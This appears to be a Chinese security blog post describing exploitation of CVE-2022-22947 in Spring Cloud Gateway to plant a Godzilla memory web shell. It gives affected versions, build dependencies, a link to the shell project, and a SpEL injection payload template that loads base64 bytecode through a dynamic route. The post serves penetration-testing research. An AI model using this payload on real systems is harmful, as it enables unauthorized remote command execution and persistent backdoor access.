0x00 漏洞简介
Spring Cloud Gateway是基于 Spring Framework 和 Spring Boot 构建的 API 网关,它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式 以下版本的Spring Cloud Gateway存在SPEL表达式注入漏洞CVE-2022-22947,可导致未授权远程命令执行漏洞
-
漏洞信息:CVE-2022-22947
-
利用版本:
-
Spring Cloud Gateway 3.1.x < 3.1.1
-
Spring Cloud Gateway 3.0.x < 3.0.7
-
Spring Cloud Gateway 其他已不再更新的版本
0x01 利用背景
之前在某次演练活动,直接使用工具获得了命令马,想写入内存马也一直没有成功。将工具设置代理,使用burp抓包,获得漏洞的利用过程中发送的数据包,情况如下:
刷新路由
查看是否写入成功
活动中发现命令马非常难用,启动的进程无法常驻,进而无法对内网进行渗透,考虑写入内存马,没有成功。
当时参考的该项目下的代码
https://github.com/whwlsfb/cve-2022-22947-godzilla-memshell
0x02 复现研究
之后在一个授权项目又发现了该漏洞,继续研究下。关于上述项目产生的代码,需要编译为class文件,可在idea新建maven项目,其中依赖项目情况如下
<dependencies>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-gateway</artifactId>
<version>3.1.0</version>
</dependency>
</dependencies>
之后利用maven编译代码,获得字节码,之后将字节码base64处理。
构造如下报文:
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('GMemShell',T(org.springframework.util.Base64Utils).decodeFromString('<Base64字符串>'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject( , '</路由>')}
利用上述过程,创建动态路由之后更新,发现内存马已经成功写入目标,并且可成功连接。
原文始发于微信公众号(here404):Spring Cloud 内存马注入
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论